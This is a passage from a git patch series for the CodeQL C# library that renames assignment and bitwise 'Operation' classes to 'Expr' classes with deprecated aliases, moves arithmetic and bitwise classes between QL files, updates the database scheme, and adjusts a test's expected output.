BinaryArithmeticOperation, DivOperation, @div_expr { /** * A remainder operation, for example `x % y`. */ -class RemExpr extends BinaryArithmeticOperation, RemOperation, @rem_expr { +class RemExpr extends BinaryArithmeticExpr, RemOperation, @rem_expr { override string getOperator() { result = "%" } override string getAPrimaryQlClass() { result = "RemExpr" } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll index f65b13bf8ec..cafe39fb403 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Assignment.qll @@ -72,9 +72,9 @@ class AssignExpr extends Assignment, @simple_assign_expr { } /** - * An assignment operation. Either an arithmetic assignment operation - * (`AssignArithmeticOperation`), a bitwise assignment operation - * (`AssignBitwiseOperation`), an event assignment (`AddOrRemoveEventExpr`), or + * An assignment operation. Either an arithmetic assignment expression + * (`AssignArithmeticExpr`), a bitwise assignment expression + * (`AssignBitwiseExpr`), an event assignment (`AddOrRemoveEventExpr`), or * a null-coalescing assignment (`AssignCoalesceExpr`). */ class AssignOperation extends Assignment, @assign_op_expr { @@ -94,134 +94,147 @@ class AssignOperation extends Assignment, @assign_op_expr { } /** - * A compound assignment operation that invokes an operator. + * A compound assignment expression that invokes an operator. * * (1) `x += y` invokes the compound assignment operator `+=` (if it exists). * (2) `x += y` invokes the operator `+` and assigns `x + y` to `x`. * - * Either an arithmetic assignment operation (`AssignArithmeticOperation`) or a bitwise - * assignment operation (`AssignBitwiseOperation`). + * Either an arithmetic assignment expression (`AssignArithmeticExpr`) or a bitwise + * assignment expression (`AssignBitwiseExpr`). */ -class AssignCallOperation extends AssignOperation, OperatorCall, QualifiableExpr, - @assign_op_call_expr -{ +class AssignCallExpr extends AssignOperation, OperatorCall, QualifiableExpr, @assign_op_call_expr { override string toString() { result = AssignOperation.super.toString() } } /** - * An arithmetic assignment operation. Either an addition assignment operation - * (`AssignAddExpr`), a subtraction assignment operation (`AssignSubExpr`), a - * multiplication assignment operation (`AssignMulExpr`), a division assignment - * operation (`AssignDivExpr`), or a remainder assignment operation - * (`AssignRemExpr`). + * DEPRECATED: Use `AssignCallExpr` instead. */ -class AssignArithmeticOperation extends AssignCallOperation, @assign_arith_expr { } +deprecated class AssignCallOperation = AssignCallExpr; /** - * An addition assignment operation, for example `x += y`. + * An arithmetic assignment expression. Either an addition assignment expression + * (`AssignAddExpr`), a subtraction assignment expression (`AssignSubExpr`), a + * multiplication assignment expression (`AssignMulExpr`), a division assignment + * expression (`AssignDivExpr`), or a remainder assignment expression + * (`AssignRemExpr`). */ -class AssignAddExpr extends AssignArithmeticOperation, AddOperation, @assign_add_expr { +class AssignArithmeticExpr extends AssignCallExpr, @assign_arith_expr { } + +/** + * DEPRECATED: Use `AssignArithmeticExpr` instead. + */ +deprecated class AssignArithmeticOperation = AssignArithmeticExpr; + +/** + * An addition assignment expression, for example `x += y`. + */ +class AssignAddExpr extends AssignArithmeticExpr, AddOperation, @assign_add_expr { override string getOperator() { result = "+=" } override string getAPrimaryQlClass() { result = "AssignAddExpr" } } /** - * A subtraction assignment operation, for example `x -= y`. + * A subtraction assignment expression, for example `x -= y`. */ -class AssignSubExpr extends AssignArithmeticOperation, SubOperation, @assign_sub_expr { +class AssignSubExpr extends AssignArithmeticExpr, SubOperation, @assign_sub_expr { override string getOperator() { result = "-=" } override string getAPrimaryQlClass() { result = "AssignSubExpr" } } /** - * An multiplication assignment operation, for example `x *= y`. + * An multiplication assignment expression, for example `x *= y`. */ -class AssignMulExpr extends AssignArithmeticOperation, MulOperation, @assign_mul_expr { +class AssignMulExpr extends AssignArithmeticExpr, MulOperation, @assign_mul_expr { override string getOperator() { result = "*=" } override string getAPrimaryQlClass() { result = "AssignMulExpr" } } /** - * An division assignment operation, for example `x /= y`. + * A division assignment expression, for example `x /= y`. */ -class AssignDivExpr extends AssignArithmeticOperation, DivOperation, @assign_div_expr { +class AssignDivExpr extends AssignArithmeticExpr, DivOperation, @assign_div_expr { override string getOperator() { result = "/=" } override string getAPrimaryQlClass() { result = "AssignDivExpr" } } /** - * A remainder assignment operation, for example `x %= y`. + * A remainder assignment expression, for example `x %= y`. */ -class AssignRemExpr extends AssignArithmeticOperation, RemOperation, @assign_rem_expr { +class AssignRemExpr extends AssignArithmeticExpr, RemOperation, @assign_rem_expr { override string getOperator() { result = "%=" } override string getAPrimaryQlClass() { result = "AssignRemExpr" } } /** - * A bitwise assignment operation. Either a bitwise-and assignment - * operation (`AssignAndExpr`), a bitwise-or assignment - * operation (`AssignOrExpr`), a bitwise exclusive-or assignment - * operation (`AssignXorExpr`), a left-shift assignment - * operation (`AssignLeftShiftExpr`), or a right-shift assignment - * operation (`AssignRightShiftExpr`), or an unsigned right-shift assignment - * operation (`AssignUnsignedRightShiftExpr`). + * A bitwise assignment expression. Either a bitwise-and assignment + * expression (`AssignAndExpr`), a bitwise-or assignment + * expression (`AssignOrExpr`), a bitwise exclusive-or assignment + * expression (`AssignXorExpr`), a left-shift assignment + * expression (`AssignLeftShiftExpr`), or a right-shift assignment + * expression (`AssignRightShiftExpr`), or an unsigned right-shift assignment + * expression (`AssignUnsignedRightShiftExpr`). */ -class AssignBitwiseOperation extends AssignCallOperation, @assign_bitwise_expr { } +class AssignBitwiseExpr extends AssignCallExpr, @assign_bitwise_expr { } /** - * A bitwise-and assignment operation, for example `x &= y`. + * DEPRECATED: Use `AssignBitwiseExpr` instead. */ -class AssignAndExpr extends AssignBitwiseOperation, BitwiseAndOperation, @assign_and_expr { +deprecated class AssignBitwiseOperation = AssignBitwiseExpr; + +/** + * A bitwise-and assignment expression, for example `x &= y`. + */ +class AssignAndExpr extends AssignBitwiseExpr, BitwiseAndOperation, @assign_and_expr { override string getOperator() { result = "&=" } override string getAPrimaryQlClass() { result = "AssignAndExpr" } } /** - * A bitwise-or assignment operation, for example `x |= y`. + * A bitwise-or assignment expression, for example `x |= y`. */ -class AssignOrExpr extends AssignBitwiseOperation, BitwiseOrOperation, @assign_or_expr { +class AssignOrExpr extends AssignBitwiseExpr, BitwiseOrOperation, @assign_or_expr { override string getOperator() { result = "|=" } override string getAPrimaryQlClass() { result = "AssignOrExpr" } } /** - * A bitwise exclusive-or assignment operation, for example `x ^= y`. + * A bitwise exclusive-or assignment expression, for example `x ^= y`. */ -class AssignXorExpr extends AssignBitwiseOperation, BitwiseXorOperation, @assign_xor_expr { +class AssignXorExpr extends AssignBitwiseExpr, BitwiseXorOperation, @assign_xor_expr { override string getOperator() { result = "^=" } override string getAPrimaryQlClass() { result = "AssignXorExpr" } } /** - * A left-shift assignment operation, for example `x <<= y`. + * A left-shift assignment expression, for example `x <<= y`. */ -class AssignLeftShiftExpr extends AssignBitwiseOperation, LeftShiftOperation, @assign_lshift_expr { +class AssignLeftShiftExpr extends AssignBitwiseExpr, LeftShiftOperation, @assign_lshift_expr { override string getOperator() { result = "<<=" } override string getAPrimaryQlClass() { result = "AssignLeftShiftExpr" } } /** - * A right-shift assignment operation, for example `x >>= y`. + * A right-shift assignment expression, for example `x >>= y`. */ -class AssignRightShiftExpr extends AssignBitwiseOperation, RightShiftOperation, @assign_rshift_expr { +class AssignRightShiftExpr extends AssignBitwiseExpr, RightShiftOperation, @assign_rshift_expr { override string getOperator() { result = ">>=" } override string getAPrimaryQlClass() { result = "AssignRightShiftExpr" } } /** - * An unsigned right-shift assignment operation, for example `x >>>= y`. + * An unsigned right-shift assignment expression, for example `x >>>= y`. */ -class AssignUnsignedRightShiftExpr extends AssignBitwiseOperation, UnsignedRightShiftOperation, +class AssignUnsignedRightShiftExpr extends AssignBitwiseExpr, UnsignedRightShiftOperation, @assign_urshift_expr { override string getOperator() { result = ">>>=" } @@ -297,7 +310,7 @@ class RemoveEventExpr extends AddOrRemoveEventExpr, @remove_event_expr { } /** - * A null-coalescing assignment operation, for example `x ??= y`. + * A null-coalescing assignment expression, for example `x ??= y`. */ class AssignCoalesceExpr extends AssignOperation, NullCoalescingOperation, @assign_coalesce_expr { override string toString() { result = "... ??= ..." } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll index a358e73970c..f69afb74c20 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll @@ -609,7 +609,7 @@ class InstanceMutatorOperatorCall extends MutatorOperatorCall { * } * ``` */ -class CompoundAssignmentOperatorCall extends AssignCallOperation { +class CompoundAssignmentOperatorCall extends AssignCallExpr { CompoundAssignmentOperatorCall() { this.getTarget() instanceof CompoundAssignmentOperator } override Expr getArgument(int i) { result = this.getChildExpr(i + 1) and i >= 0 } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index 1f816baea86..09258024803 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -4,25 +4,33 @@ import Expr +/** + * A binary arithmetic operation. Either a binary arithmetic expression (`BinaryArithmeticExpr`) or + * an arithmetic assignment operation (`AssignArithmeticExpr`). + */ +class BinaryArithmeticOperation extends ArithmeticOperation, BinaryOperation, @bin_arith_operation { + override string getOperator() { none() } +} + /** * An addition operation, either `x + y` or `x += y`. */ -class AddOperation extends BinaryOperation, @add_operation { } +class AddOperation extends BinaryArithmeticOperation, @add_operation { } /** * A subtraction operation, either `x - y` or `x -= y`. */ -class SubOperation extends BinaryOperation, @sub_operation { } +class SubOperation extends BinaryArithmeticOperation, @sub_operation { } /** * A multiplication operation, either `x * y` or `x *= y`. */ -class MulOperation extends BinaryOperation, @mul_operation { } +class MulOperation extends BinaryArithmeticOperation, @mul_operation { } /** * A division operation, either `x / y` or `x /= y`. */ -class DivOperation extends BinaryOperation, @div_operation { +class DivOperation extends BinaryArithmeticOperation, @div_operation { /** Gets the numerator of this division operation. */ Expr getNumerator() { result = this.getLeftOperand() } @@ -33,7 +41,7 @@ class DivOperation extends BinaryOperation, @div_operation { /** * A remainder operation, either `x % y` or `x %= y`. */ -class RemOperation extends BinaryOperation, @rem_operation { } +class RemOperation extends BinaryArithmeticOperation, @rem_operation { } /** * A bitwise-and operation, either `x & y` or `x &= y`. From 951a26a01ad4b5e519933296a2375e789da7db59 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 13:17:36 +0200 Subject: [PATCH 095/143] C#: Move arithmetic like classes from Operation.qll to ArithmeticOperation.qll. --- .../code/csharp/exprs/ArithmeticOperation.qll | 39 +++++++++++++++++++ .../semmle/code/csharp/exprs/Operation.qll | 39 ------------------- 2 files changed, 39 insertions(+), 39 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll index efa038cc3a1..45e9dc61cd0 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/ArithmeticOperation.qll @@ -15,6 +15,14 @@ class ArithmeticOperation extends Operation, @arith_operation { override string getOperator() { none() } } +/** + * A binary arithmetic operation. Either a binary arithmetic expression (`BinaryArithmeticExpr`) or + * an arithmetic assignment expression (`AssignArithmeticExpr`). + */ +class BinaryArithmeticOperation extends ArithmeticOperation, BinaryOperation, @bin_arith_operation { + override string getOperator() { none() } +} + /** * A unary arithmetic operation. Either a unary minus operation * (`UnaryMinusExpr`), a unary plus operation (`UnaryPlusExpr`), @@ -94,6 +102,37 @@ class PostDecrExpr extends DecrementOperation, @post_decr_expr { override string getAPrimaryQlClass() { result = "PostDecrExpr" } } +/** + * An addition operation, either `x + y` or `x += y`. + */ +class AddOperation extends BinaryArithmeticOperation, @add_operation { } + +/** + * A subtraction operation, either `x - y` or `x -= y`. + */ +class SubOperation extends BinaryArithmeticOperation, @sub_operation { } + +/** + * A multiplication operation, either `x * y` or `x *= y`. + */ +class MulOperation extends BinaryArithmeticOperation, @mul_operation { } + +/** + * A division operation, either `x / y` or `x /= y`. + */ +class DivOperation extends BinaryArithmeticOperation, @div_operation { + /** Gets the numerator of this division operation. */ + Expr getNumerator() { result = this.getLeftOperand() } + + /** Gets the denominator of this division operation. */ + Expr getDenominator() { result = this.getRightOperand() } +} + +/** + * A remainder operation, either `x % y` or `x %= y`. + */ +class RemOperation extends BinaryArithmeticOperation, @rem_operation { } + /** * A binary arithmetic expression. Either an addition expression * (`AddExpr`), a subtraction expression (`SubExpr`), a multiplication diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index 09258024803..b41fcfb7c7e 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -4,45 +4,6 @@ import Expr -/** - * A binary arithmetic operation. Either a binary arithmetic expression (`BinaryArithmeticExpr`) or - * an arithmetic assignment operation (`AssignArithmeticExpr`). - */ -class BinaryArithmeticOperation extends ArithmeticOperation, BinaryOperation, @bin_arith_operation { - override string getOperator() { none() } -} - -/** - * An addition operation, either `x + y` or `x += y`. - */ -class AddOperation extends BinaryArithmeticOperation, @add_operation { } - -/** - * A subtraction operation, either `x - y` or `x -= y`. - */ -class SubOperation extends BinaryArithmeticOperation, @sub_operation { } - -/** - * A multiplication operation, either `x * y` or `x *= y`. - */ -class MulOperation extends BinaryArithmeticOperation, @mul_operation { } - -/** - * A division operation, either `x / y` or `x /= y`. - */ -class DivOperation extends BinaryArithmeticOperation, @div_operation { - /** Gets the numerator of this division operation. */ - Expr getNumerator() { result = this.getLeftOperand() } - - /** Gets the denominator of this division operation. */ - Expr getDenominator() { result = this.getRightOperand() } -} - -/** - * A remainder operation, either `x % y` or `x %= y`. - */ -class RemOperation extends BinaryArithmeticOperation, @rem_operation { } - /** * A bitwise-and operation, either `x & y` or `x &= y`. */ From 7d546696968613dec39cd4ddabb6da3dfd0335da Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 14:30:49 +0200 Subject: [PATCH 096/143] C#: Update DB scheme for bitwise assignments and expressions (and some other minor changes). --- csharp/ql/lib/semmlecode.csharp.dbscheme | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/csharp/ql/lib/semmlecode.csharp.dbscheme b/csharp/ql/lib/semmlecode.csharp.dbscheme index 7c7f4210399..7c7ae63df2e 100644 --- a/csharp/ql/lib/semmlecode.csharp.dbscheme +++ b/csharp/ql/lib/semmlecode.csharp.dbscheme @@ -1268,21 +1268,25 @@ case @expr.kind of @un_log_op_expr = @log_not_expr; @log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; -@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr - | @rshift_expr | @urshift_expr; -@un_bit_op_expr = @bit_not_expr; -@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; +@bin_bit_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@bin_bit_operation = @and_operation | @or_operation | @xor_operation | @lshift_operation + | @rshift_operation | @urshift_operation; +@un_bit_expr = @bit_not_expr; +@un_bit_operation = @un_bit_expr; +@bit_expr = @un_bit_expr | @bin_bit_expr; +@bit_operation = @un_bit_operation | @bin_bit_operation; @equality_op_expr = @eq_expr | @ne_expr; @rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; @comp_expr = @equality_op_expr | @rel_op_expr; -@op_expr = @un_op | @bin_op | @ternary_op; +@operation_expr = @un_operation | @bin_operation | @ternary_op; @ternary_op = @ternary_log_op_expr; -@bin_op = @assign_expr | @bin_arith_operation | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; -@un_op = @un_arith_operation | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr - | @pointer_indirection_expr | @address_of_expr; +@bin_operation = @assign_expr | @bin_arith_operation | @bin_log_op_expr | @bin_bit_operation | @comp_expr; +@un_operation = @un_arith_operation | @un_log_op_expr | @un_bit_operation | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; @anonymous_function_expr = @lambda_expr | @anonymous_method_expr; From 524330c1885db27f9dfa998935ad568f63616a0c Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 14:31:16 +0200 Subject: [PATCH 097/143] C#: Update the QL library implementation for Bitwise operations. --- .../Cryptography/NonCryptographicHashes.qll | 6 +-- .../code/csharp/exprs/BitwiseOperation.qll | 50 ++++++++++--------- .../ql/lib/semmle/code/csharp/exprs/Expr.qll | 6 +-- .../semmle/code/csharp/exprs/Operation.qll | 12 ++--- .../test/library-tests/csharp11/operators.ql | 2 +- 5 files changed, 40 insertions(+), 36 deletions(-) diff --git a/csharp/ql/lib/experimental/code/csharp/Cryptography/NonCryptographicHashes.qll b/csharp/ql/lib/experimental/code/csharp/Cryptography/NonCryptographicHashes.qll index 130e563a663..ae4b4ad3f61 100644 --- a/csharp/ql/lib/experimental/code/csharp/Cryptography/NonCryptographicHashes.qll +++ b/csharp/ql/lib/experimental/code/csharp/Cryptography/NonCryptographicHashes.qll @@ -50,15 +50,15 @@ private predicate maybeUsedInElfHashFunction(Variable v, Operation xor, Operatio | add instanceof AddOperation and e1.getAChild*() = add.getAnOperand() and - e1 instanceof BinaryBitwiseOperation and - e2 = e1.(BinaryBitwiseOperation).getLeftOperand() and + e1 instanceof BinaryBitwiseExpr and + e2 = e1.(BinaryBitwiseExpr).getLeftOperand() and v = addAssign.getTargetVariable() and addAssign.getAChild*() = add and (xor instanceof BitwiseXorExpr or xor instanceof AssignXorExpr) and addAssign.getControlFlowNode().getASuccessor*() = xor.getControlFlowNode() and xorAssign.getAChild*() = xor and v = xorAssign.getTargetVariable() and - (notOp instanceof UnaryBitwiseOperation or notOp instanceof AssignBitwiseOperation) and + (notOp instanceof UnaryBitwiseOperation or notOp instanceof AssignBitwiseExpr) and xor.getControlFlowNode().getASuccessor*() = notOp.getControlFlowNode() and notAssign.getAChild*() = notOp and v = notAssign.getTargetVariable() and diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll index 14bb3d74e2b..ae5e8fc6e6e 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll @@ -10,16 +10,16 @@ import Expr * A bitwise operation. Either a unary bitwise operation (`UnaryBitwiseOperation`) * or a binary bitwise operation (`BinaryBitwiseOperation`). */ -class BitwiseOperation extends Operation, @bit_expr { } +class BitwiseOperation extends Operation, @bit_operation { } /** * A unary bitwise operation, that is, a bitwise complement operation * (`ComplementExpr`). */ -class UnaryBitwiseOperation extends BitwiseOperation, UnaryOperation, @un_bit_op_expr { } +class UnaryBitwiseOperation extends BitwiseOperation, UnaryOperation, @un_bit_operation { } /** - * A bitwise complement operation, for example `~x`. + * A bitwise complement expression, for example `~x`. */ class ComplementExpr extends UnaryBitwiseOperation, @bit_not_expr { override string getOperator() { result = "~" } @@ -28,67 +28,71 @@ class ComplementExpr extends UnaryBitwiseOperation, @bit_not_expr { } /** - * A binary bitwise operation. Either a bitwise-and operation - * (`BitwiseAndExpr`), a bitwise-or operation (`BitwiseOrExpr`), - * a bitwise exclusive-or operation (`BitwiseXorExpr`), a left-shift - * operation (`LeftShiftExpr`), a right-shift operation (`RightShiftExpr`), - * or an unsigned right-shift operation (`UnsignedRightShiftExpr`). + * A binary bitwise operation. Either a binary bitwise expression (`BinaryBitwiseExpr`) or + * a bitwise assignment expression (`AssignBitwiseExpr`). */ -class BinaryBitwiseOperation extends BitwiseOperation, BinaryOperation, @bin_bit_op_expr { +class BinaryBitwiseOperation extends BitwiseOperation, BinaryOperation, @bin_bit_operation { override string getOperator() { none() } } /** - * A left-shift operation, for example `x << y`. + * A binary bitwise expression. Either a bitwise-and expression + * (`BitwiseAndExpr`), a bitwise-or expression (`BitwiseOrExpr`), + * a bitwise exclusive-or expression (`BitwiseXorExpr`), a left-shift + * expression (`LeftShiftExpr`), a right-shift expression (`RightShiftExpr`), + * or an unsigned right-shift expression (`UnsignedRightShiftExpr`). */ -class LeftShiftExpr extends BinaryBitwiseOperation, LeftShiftOperation, @lshift_expr { +class BinaryBitwiseExpr extends BinaryBitwiseOperation, @bin_bit_expr { } + +/** + * A left-shift expression, for example `x << y`. + */ +class LeftShiftExpr extends BinaryBitwiseExpr, LeftShiftOperation, @lshift_expr { override string getOperator() { result = "<<" } override string getAPrimaryQlClass() { result = "LeftShiftExpr" } } /** - * A right-shift operation, for example `x >> y`. + * A right-shift expression, for example `x >> y`. */ -class RightShiftExpr extends BinaryBitwiseOperation, RightShiftOperation, @rshift_expr { +class RightShiftExpr extends BinaryBitwiseExpr, RightShiftOperation, @rshift_expr { override string getOperator() { result = ">>" } override string getAPrimaryQlClass() { result = "RightShiftExpr" } } /** - * An unsigned right-shift operation, for example `x >>> y`. + * An unsigned right-shift expression, for example `x >>> y`. */ -class UnsignedRightShiftExpr extends BinaryBitwiseOperation, UnsignedRightShiftOperation, - @urshift_expr -{ +class UnsignedRightShiftExpr extends BinaryBitwiseExpr, UnsignedRightShiftOperation, @urshift_expr { override string getOperator() { result = ">>>" } override string getAPrimaryQlClass() { result = "UnsignedRightShiftExpr" } } /** - * A bitwise-and operation, for example `x & y`. + * A bitwise-and expression, for example `x & y`. */ -class BitwiseAndExpr extends BinaryBitwiseOperation, BitwiseAndOperation, @bit_and_expr { +class BitwiseAndExpr extends BinaryBitwiseExpr, BitwiseAndOperation, @bit_and_expr { override string getOperator() { result = "&" } override string getAPrimaryQlClass() { result = "BitwiseAndExpr" } } /** - * A bitwise-or operation, for example `x | y`. + * A bitwise-or expression, for example `x | y`. */ -class BitwiseOrExpr extends BinaryBitwiseOperation, BitwiseOrOperation, @bit_or_expr { +class BitwiseOrExpr extends BinaryBitwiseExpr, BitwiseOrOperation, @bit_or_expr { override string getOperator() { result = "|" } override string getAPrimaryQlClass() { result = "BitwiseOrExpr" } } /** - * A bitwise exclusive-or operation, for example `x ^ y`. + * A bitwise exclusive-or expression, for example `x ^ y`. */ -class BitwiseXorExpr extends BinaryBitwiseOperation, BitwiseXorOperation, @bit_xor_expr { +class BitwiseXorExpr extends BinaryBitwiseExpr, BitwiseXorOperation, @bit_xor_expr { override string getOperator() { result = "^" } override string getAPrimaryQlClass() { result = "BitwiseXorExpr" } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll index a26afb00490..458ba7dbc0b 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll @@ -212,7 +212,7 @@ class LocalConstantDeclExpr extends LocalVariableDeclExpr { * (`UnaryOperation`), a binary operation (`BinaryOperation`), or a * ternary operation (`TernaryOperation`). */ -class Operation extends Expr, @op_expr { +class Operation extends Expr, @operation_expr { /** Gets the name of the operator in this operation. */ string getOperator() { none() } @@ -227,7 +227,7 @@ class Operation extends Expr, @op_expr { * indirection operation (`PointerIndirectionExpr`), an address-of operation * (`AddressOfExpr`), or a unary logical operation (`UnaryLogicalOperation`). */ -class UnaryOperation extends Operation, @un_op { +class UnaryOperation extends Operation, @un_operation { /** Gets the operand of this unary operation. */ Expr getOperand() { result = this.getChild(0) } @@ -241,7 +241,7 @@ class UnaryOperation extends Operation, @un_op { * a binary logical operation (`BinaryLogicalOperation`), or an * assignment (`Assignment`). */ -class BinaryOperation extends Operation, @bin_op { +class BinaryOperation extends Operation, @bin_operation { /** Gets the left operand of this binary operation. */ Expr getLeftOperand() { result = this.getChild(0) } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index b41fcfb7c7e..d920f169a6d 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -7,32 +7,32 @@ import Expr /** * A bitwise-and operation, either `x & y` or `x &= y`. */ -class BitwiseAndOperation extends BinaryOperation, @and_operation { } +class BitwiseAndOperation extends BinaryBitwiseOperation, @and_operation { } /** * A bitwise-or operation, either `x | y` or `x |= y`. */ -class BitwiseOrOperation extends BinaryOperation, @or_operation { } +class BitwiseOrOperation extends BinaryBitwiseOperation, @or_operation { } /** * A bitwise exclusive-or operation, either `x ^ y` or `x ^= y`. */ -class BitwiseXorOperation extends BinaryOperation, @xor_operation { } +class BitwiseXorOperation extends BinaryBitwiseOperation, @xor_operation { } /** * A left-shift operation, either `x << y` or `x <<= y`. */ -class LeftShiftOperation extends BinaryOperation, @lshift_operation { } +class LeftShiftOperation extends BinaryBitwiseOperation, @lshift_operation { } /** * A right-shift operation, either `x >> y` or `x >>= y`. */ -class RightShiftOperation extends BinaryOperation, @rshift_operation { } +class RightShiftOperation extends BinaryBitwiseOperation, @rshift_operation { } /** * An unsigned right-shift operation, either `x >>> y` or `x >>>= y`. */ -class UnsignedRightShiftOperation extends BinaryOperation, @urshift_operation { } +class UnsignedRightShiftOperation extends BinaryBitwiseOperation, @urshift_operation { } /** * A null-coalescing operation, either `x ?? y` or `x ??= y`. diff --git a/csharp/ql/test/library-tests/csharp11/operators.ql b/csharp/ql/test/library-tests/csharp11/operators.ql index f1543e2d744..da14d2b6cb7 100644 --- a/csharp/ql/test/library-tests/csharp11/operators.ql +++ b/csharp/ql/test/library-tests/csharp11/operators.ql @@ -11,7 +11,7 @@ query predicate binarybitwise( } query predicate assignbitwise( - AssignBitwiseOperation op, Expr left, Expr right, string name, string qlclass + AssignBitwiseExpr op, Expr left, Expr right, string name, string qlclass ) { op.getFile().getStem() = "Operators" and left = op.getLeftOperand() and From ee040da575b26ccc21e6df92f8ce248c0b8588f7 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 14:32:10 +0200 Subject: [PATCH 098/143] C#: Update test expected output. --- csharp/ql/test/library-tests/csharp11/operators.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/csharp11/operators.expected b/csharp/ql/test/library-tests/csharp11/operators.expected index 177019a3ea0..dfd131dbfa9 100644 --- a/csharp/ql/test/library-tests/csharp11/operators.expected +++ b/csharp/ql/test/library-tests/csharp11/operators.expected @@ -1,6 +1,7 @@ binarybitwise | Operators.cs:7:18:7:25 | ... >>> ... | Operators.cs:7:18:7:19 | access to local variable x1 | Operators.cs:7:25:7:25 | 2 | >>> | UnsignedRightShiftExpr | | Operators.cs:10:18:10:25 | ... >>> ... | Operators.cs:10:18:10:19 | access to local variable y1 | Operators.cs:10:25:10:25 | 3 | >>> | UnsignedRightShiftExpr | +| Operators.cs:13:9:13:16 | ... >>>= ... | Operators.cs:13:9:13:9 | access to local variable z | Operators.cs:13:16:13:16 | 5 | >>>= | AssignUnsignedRightShiftExpr | assignbitwise | Operators.cs:13:9:13:16 | ... >>>= ... | Operators.cs:13:9:13:9 | access to local variable z | Operators.cs:13:16:13:16 | 5 | >>>= | AssignUnsignedRightShiftExpr | userdefined From 072c4837d23656095f75a812db0eac6053f68efa Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 29 May 2026 14:42:02 +0200 Subject: [PATCH 099/143] C#: Move bitwise operation classes from Operation.qll to BitwiseOperation.qll. --- .../code/csharp/exprs/BitwiseOperation.qll | 30 +++++++++++++++++++ .../semmle/code/csharp/exprs/Operation.qll | 30 ------------------- 2 files changed, 30 insertions(+), 30 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll index ae5e8fc6e6e..b6449f71a48 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/BitwiseOperation.qll @@ -35,6 +35,36 @@ class BinaryBitwiseOperation extends BitwiseOperation, BinaryOperation, @bin_bit override string getOperator() { none() } } +/** + * A bitwise-and operation, either `x & y` or `x &= y`. + */ +class BitwiseAndOperation extends BinaryBitwiseOperation, @and_operation { } + +/** + * A bitwise-or operation, either `x | y` or `x |= y`. + */ +class BitwiseOrOperation extends BinaryBitwiseOperation, @or_operation { } + +/** + * A bitwise exclusive-or operation, either `x ^ y` or `x ^= y`. + */ +class BitwiseXorOperation extends BinaryBitwiseOperation, @xor_operation { } + +/** + * A left-shift operation, either `x << y` or `x <<= y`. + */ +class LeftShiftOperation extends BinaryBitwiseOperation, @lshift_operation { } + +/** + * A right-shift operation, either `x >> y` or `x >>= y`. + */ +class RightShiftOperation extends BinaryBitwiseOperation, @rshift_operation { } + +/** + * An unsigned right-shift operation, either `x >>> y` or `x >>>= y`. + */ +class UnsignedRightShiftOperation extends BinaryBitwiseOperation, @urshift_operation { } + /** * A binary bitwise expression. Either a bitwise-and expression * (`BitwiseAndExpr`), a bitwise-or expression (`BitwiseOrExpr`), diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll index d920f169a6d..eb1a2bea9a5 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Operation.qll @@ -4,36 +4,6 @@ import Expr -/** - * A 